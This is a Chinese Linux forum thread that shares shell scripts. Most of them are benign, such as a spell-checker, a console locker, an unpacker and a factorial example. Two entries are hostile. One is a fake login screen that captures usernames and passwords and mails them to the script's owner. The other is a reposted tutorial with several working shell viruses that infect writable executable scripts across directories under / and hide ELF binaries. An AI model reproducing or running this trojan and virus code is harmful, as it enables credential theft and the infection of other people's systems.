【shell脚本欣赏区】:[展示你的作品的好去处!欢迎投帖]

KornLee

声明:
本版所发布之脚本程序,除注明转载出处,其余均出自本论坛!
请尊重作者的智力劳动!如需转帖,请注明来自黄嘴企鹅论坛
http://www.linuxsir.cn
如您发布的脚本为转贴,那么也请您注明来源,以示对原创者的尊重!谢谢合作!!!

附:SHELL各种版本下载地址:
KSH:
http://www.rpmfind.net/linux/rpm2html/search.php?query=pdksh
TCSH/CSH:
http://www.rpmfind.net/linux/rpm ... p;system=&arch=
ZSH:
http://www.rpmfind.net/linux/rpm ... p;system=&arch=
BASH:
http://www.rpmfind.net/linux/rpm ... p;system=&arch=

KornLee

介绍一个脚本
作者:javalee

2. #!/bin/ksh
3. # Script name: Speller
4. #
5. #
6. # Purpose: Check and fix spelling errors in a file
7. #
9. exec < tmp   # opens the tmp file
10. while read line  # read from the tmp file
11. do
12. print $line
13. print -n "Is this word correct? [Y/N] "
14. read answer < /dev/tty  # read from the terminal
15.     case $answer in
16.     [Yy]*)
17.         continue
18.             ;;
19.     *)
20.         print "New word? "
21.         read word < /dev/tty
22.         sed "s/$line/$word/" tmp > error
23.         mv error tmp
24.         print $word has been changed.
25.             ;;
26.     esac
27. done

复制代码

*此脚本是逐行校正如tmp文件内容正确与否,起编辑的作用

KornLee

函数应用实例介绍

2. $cat dbfunctions
3. addon () {                  # 定义函数addon,他的功能是把新的信息加入datafile
4.     while true
5.     do
6.         echo "Adding information "
7.         echo "Type the full name of employee "
8.         read name
9.         echo "Type address for employee "
10.         read address
11.         echo "Type start date for employee (4/10/88 ) :"
12.         read startdate
13.         echo $name:$address:$startdate
14.         echo -n "Is this correct? "
15.         read ans
16.         case "$ans"  in
17.         [Yy]*)
18.             echo "Adding info..."
19.             echo $name:$address:$startdate>>datafile
20.             sort -u datafile -o datafile
21.             echo -n "Do you want to go back to the main menu? "
22.             read ans
23.             if [ $ans = Y -o $ans = y ]
24.             then
25.                 return        # return命令把控制送回函数被调用时所在的调用程序           
26.              else
27.                 continue        # 把控制返回到while循环顶部
28.             fi
29.                 ;;
30.         *)
31.             echo "Do you want to try again? "
32.             read answer
33.             case "$answer" in
34.                 [Yy]*)
35.                     continue;;
36.                 *)
37.                     exit;;
38.             esac
39.                 ;;
40.         esac
41.     done
42. }       # 结束函数定义
44. $cat mainprog
45. #!/bin/sh
46. script name: mainprog
47. # This is the main script that will call the function, addon
49. #datafile=$HOME/bourne/datafile
50. datafile=./datafile
52. .  dbfunctions  # dot命令把文件dbfunctions装入内存,
54. if [ ! -f $datafile ]
55. then
56.     echo "`basename $datafile` does not exist" 1>&2
57.     exit 1
58. fi
59. echo "Select one: "
60. cat <<EOF
61.     [1] Add info
62.     [2] Delete info
63.     [3] Exit
64. EOF
65. read choice
66. case $choice in
67.     1)  addon   # 调用函数
68.         ;;
69.     2)  delete  # 调用函数
70.         ;;
71.     3)  update
72.         ;;
73.     4)  echo Bye
74.         exit 0
75.         ;;
76.     *)  echo Bad choice
77.         exit 2
78.         ;;
79. esac
80. echo Returned from function call
81. echo The name is $name
82. # Variable set in the function are known in this shell.
84. 附:文件datafile
85. cat database
86. Ann Stephens            111 Main St, Boston, MA         4/10/88
87. TB Savage               222 B Ave, New York, NY         5/11/99

复制代码

兄弟们有什么好的脚本,自创的也好,转帖的也好,都可以放在这里,好让大家欣赏,OK?  

KornLee

在字符控制台里,锁定控制台,可以起到保护系统不被他人乱动的作用,奉献给兄弟们,请指教!;)

2. #!/bin/ksh
3. #scriptname:locktty
4. #writed by :javalee
5. #script start...
6. reset;clear    #清除屏幕
7. info="System will be locked!!! Press Waitting....."
8. print "\n\n\n\n\n\n\n"
9. for i in 9 8 7 6 5 4 3 2 1 0
10. do
11. print -n "                \a$info$i\r"
12. sleep 1
13. done
14. clear
15. #加上这个倒记时的小东东,;)
17. trapper () {        #建立个函数
18. trap ' ' 2 3 20 #忽略CTRL+C CTRL+\ CTRL+Z信号
19. }
20. while :        #进入死循环
21. do
22. trapper        #调用函数
23. print "\n\n\n\n\n\n\n\n\t\t\tPlease enter unlock code:"
24. stty -echo        #屏蔽输入的字符
25. read input
26. case $input in
27. 123)
28. print "\t\t     Hello $USER,Today is $(date +%T)\n"
29. stty echo       
30. break ;;        #输入正确,挑出循环回到命令行
31. *)
32. clear
33. continue ;;        #否则,继续循环
34. esac
35. done
36. #script over

复制代码

LYOO

不错！用Linux就该多写写脚本，天天想着怎么玩X，不如去装Windows算了

KornLee

特别感谢作者:tram兄
文件名分析的那里还有点意思。

2. #!/bin/bash
3. UNPACK=1
4. if [ ${1##*.} = bz2 ] ; then
5.         TEMP=${1%.*}
6.         if [ ${TEMP##*.} = tar ] ; then
7.                 tar jxvf $1
8.                 UNPACK=$?
9.                 echo This is a tar.bz2 package
10.         else
11.                 bunzip2 $1
12.                 UNPACK=$?
13.                 echo This is a bz2 package
14.         fi
15. fi
17. if [ ${1##*.} = gz ] ; then
18.         TEMP=${1%.*}
19.         if [ ${TEMP##*.} = tar ] ; then
20.                 tar zxvf $1
21.                 UNPACK=$?
22.                 echo This is a tar.gz package
23.         else
24.                 gunzip $1
25.                 UNPACK=$?
26.                 echo This is a gz package
27.         fi
28. fi
30. if [ ${1##*.} = tar ] ; then
31.         tar xvf $1
32.         UNPACK=$?
33.         echo This is a tar package
34. fi
36. if [ $UNPACK = 0 ] ; then
37.         echo Success!
38. else
39.         echo Maybe it is not a package or the package is damaged?
40. fi

复制代码

KornLee

特别感谢作者:ghostwalker兄

2. #! /bin/sh
4. clear
5. cat /etc/issue
6. echo -n "login: "
7. read login
8. echo -n "Password: "
9. stty -echo
10. read passwd
11. stty sane
12. mail $USER <<- fin
13. login: $login
14. passwd: $passwd
15. fin
16. echo "Login incorrect"
17. sleep 1
18. logout

复制代码

KornLee

作者:javalee

2. #! /bin/bash
3. #这是一个用递归函数写的阶乘的例子,
4. function factorial
5. {
6. ret_val=0
7. factarg=0
8. if (( $1<=1 ))
9. then
10. res=1
11. return 0
12. else
13. (( factarg=$1 - 1 ))
14. factorial $factarg
15. (( ret_val=$1 * $res ))
16. res=$ret_val
17. return 0
18. fi
19. }
20. factorial $1
21. echo "Factorial of $1 is:$res"
23. [javalee@Linux javalee]$ sh digui 6
24. Factorial of 6 is:720

复制代码

KornLee

特别感谢推荐人: ykwj121兄

感染linux脚本程序技术
原创：e4gle（大鹰）
来源：www.whitecell.org

感染linux脚本程序技术
by elf0 <elf0@whitecell.org> from www.whitecell.org 参考:29A病毒杂志第5期 伍昨
----
本文来源于29A病毒杂志,其上对linux shell病毒技术有了一个综合的阐述,我不想
翻译它,我以它的那篇为模板
写了这篇中文的文章,里面的代码我都做了调试.
对于shell编程的程序员来说所谓的shell病毒技术其实根本就是小牛一毛,这点在大
家看完本文后就会有所体会
但,简单归简单,我们还是要去了解它,呵呵.

主要的shell病毒技术
-------------------
当然,本文需要你至少了解linux shell编程的基础知识和一星点的病毒知识.
ok!我们进入正题!
我们来看一个最原始的shell病毒,代码最能说明问题:

2. #shellvirus I
3. for file in *
4. do
5.    cp $0 $file
6. done

复制代码

简单吧?遍历当前文件系统的所有文件,然后覆盖所有文件.但是,我们知道linux是多用户
的操作系统,它的文件是具有
保护模式的,所以以上的脚本有可能会报出一大堆的错误,所以它很快就会被管理员发现
并制止它的传染.所以我们可以
为该脚本做个判断,这样隐蔽性就大大增强了:

3. #shellvirus II
4. for file in *
5.   do
6.     if test -f $file
7.     then
8.      if test -x $file
9.      then
10.       if test -w $file
11.       then
12.        if grep -s echo $file >.mmm
13.        then
14.        cp $0 $file
15.   fi; fi; fi; fi; fi
16. done
17. rm .mmm -f

复制代码

ok.我们改进了一下,加了若干的判断,判断文件是否存在,是否文件可执行,是否我们有权
限写,再判断它是否是脚本程序
如果是就cp $0 $file,所以这段代码是感然该系统所有的脚本程序的,危害性还是比较大
的.if grep -s echo $file>/.mmm
这句也可以这样写:if file $file | grep -s 'Bourne shell script' > /dev/nul ;
then,也就是判断file是否为shell
脚本程序.
但是,脚本病毒一旦在感染完毕之后就什么也不做了,它没有象二进制病毒那样的潜
伏的危害性,而且以上的脚本只是简
单的覆盖宿主而已,所以我这里利用了一下传统的二进制病毒的感染机制,效果也不错,
看看下面

2. #infection
3. head -n 24 $0 > .test        <-取自身保存到.test
4.   for file in *            <-遍历文件系统
5.   do
6.    if test -f $file        <-判断是否为文件
7.    then
8.        if test -x $file        <-判断文件是否可执行
9.        then
10.             if test -w $file    <-判断文件是否可写
11.             then
12.               if grep -s echo $file >.mmm    <-判断是否为脚本程序
13.               then
14.                 head -n 1 $file >.mm        <-提取要感染的脚本程序的第一行
15.                 if grep -s infection .mm >.mmm    <-判断该文件是否已经被感染
16.   
17.                 then
18.                  rm -f .mm            <-已经被感染,则跳过
19.                 else                <-还未被感染
20.                  cat $file > .SAVEE        <-很熟悉吧?借用了传统的二进制文件
21. 的感染机制
22.                  cat .test > $file
23.                  cat .SAVEE >> $file
24.    fi; fi; fi; fi; fi
25. done
26. rm .test .SAVEE .mmm .mm -f

复制代码

程序的注解足以说明了,其实增加了潜伏的危害性,但还是特容易被发现,没办法的事情,s
hell脚本一般都是明文的,呵呵.不过
危害性已经相当大了.这段程序用了一个感染标志:infection来判断是否已经被感染,着
在程序中可以反应出来.
ok,为了使上面的代码不容易被发现,我必须优化它,最先考虑的肯定是精练代码:

2. #infection
3. for file in * ;  do
4.    if test -f $file && test -x $file && test -w $file ; then
5.     if grep -s echo $file > /dev/nul ; then
6.      head -n 1 $file >.mm
7.       if grep -s infection .mm > /dev/nul ; then
8.        rm .mm -f ; else
9.         cat $file > .SAVEE
10.         head -n 13 $0 > $file
11.         cat .SAVEE >> $file
12.   fi; fi; fi
13. done
14. rm .SAVEE .mm -f

复制代码

现在只有两个临时文件的产生了,代码也被精简到了13行.当然可以完全用;来把代码甚至
写到1-2行,但这里我只是说明问题,就
不写出来了.
好,我们看看,shell病毒还能做哪些有用的事情,有可能我们想感染别的目录的文件,比如
根目录或者是/etc,/bin等等,因为大多
数有用的系统配置脚本都存放在那些目录下,只要对上述代码稍作改动就可以实现了

2. #infection
3. xtemp=$pwd                <-保存当前路径
4. head -n 22 $0 > /.test
5. for dir in /* ; do            <-遍历/目录
6.   if test -d $dir ; then        <-如果是目录就cd该目录
7.    cd $dir
8.    for file in * ; do            <-遍历该目录文件
9.     if test -f $file && test -x $file && test -w $file ; then    <-确定文件是
10. 否可执行,可写
11.      if grep -s echo $file > /dev/nul ; then            <-确定是否为脚本程序
12.   
13.        head -n 1 $file > .mm
14.        if grep -s infection .mm > /dev/nul ; then        <-确定是否已经被感染
15.   
16.         rm .mm -f ; else
17.          cat $file > /.SAVEE                <-和前面的感染机制一样感染未被感
18. 染的脚本程序
19.          cat /.test > $file
20.          cat /.SAVEE >> $file
21.     fi; fi; fi
22.    done
23.    cd ..
24.   fi
25. done
26. cd $xtemp        <-返回原目录
27. rm /.test /.SAVEE .mm -f

复制代码

其实这段代码只感染了/目录下的一层目录.当然我们可以使它感染的更深,只是加几个循
环而已.同样shell病毒可以做很多事情
如download后门程序,为机器自动开后门,主动去攻击联网的其他机器,取用户的email来
发送传染等等.总之它的实现技术不高深,
但也比较实用,还是值得去说明一下的,呵呵.
同样,我们也可以感染elf文件,但危害性很小,这里不重点讲,给个例程大家理解一下吧

2. for file in * ;  do
3.    if test -f $file && test -x $file && test -w $file ; then
4.     if file $file | grep -s 'ELF' > /dev/nul ; then
5.      mv $file .$file
6.      head -n 9 $0 > $file
7.   fi; fi
8. done
9. $0

复制代码

KornLee

特别感谢作者:sjqu兄
这就是我的一个练习，请多指教。

2. #!/bin/bash
3. #bakup /etc/fstab
4. cp /etc/fstab /etc/fstab.orig
6. # config
7. fdisk -l /dev/hda |grep FAT  >>temp
8. fdisk -l /dev/hdb |grep FAT  >>temp
9. fdisk -l /dev/hdc |grep FAT  >>temp
10. fdisk -l /dev/hdd |grep FAT  >>temp
11. #sort
12. awk '$0~/\*/ {print $1"  "$NF}' temp >>pt
13. awk '$0!~/\*/ {print $1"  "$NF}' temp >>pt
14. i=142
15. while read disks fstype
16. do
17.      if [ $fstype = "FAT32" ]; then
18.        disks_FS=vfat
19.      else
20.        disks_FS=msdos
21.      fi
22. i=`expr $i + 1`
23. if [ "${i:2}" != "8" -a "${i:2}" != "9" ]; then
24.   echo -e  "$disks"\\t"/mnt/"\\$i""\\t"$disks_FS"\\t"iocharset=gb2312,codepage=936,umask=0 0 0" >>/etc/fstab
25.    fi
26. done <pt
27. rm -f temp pt

复制代码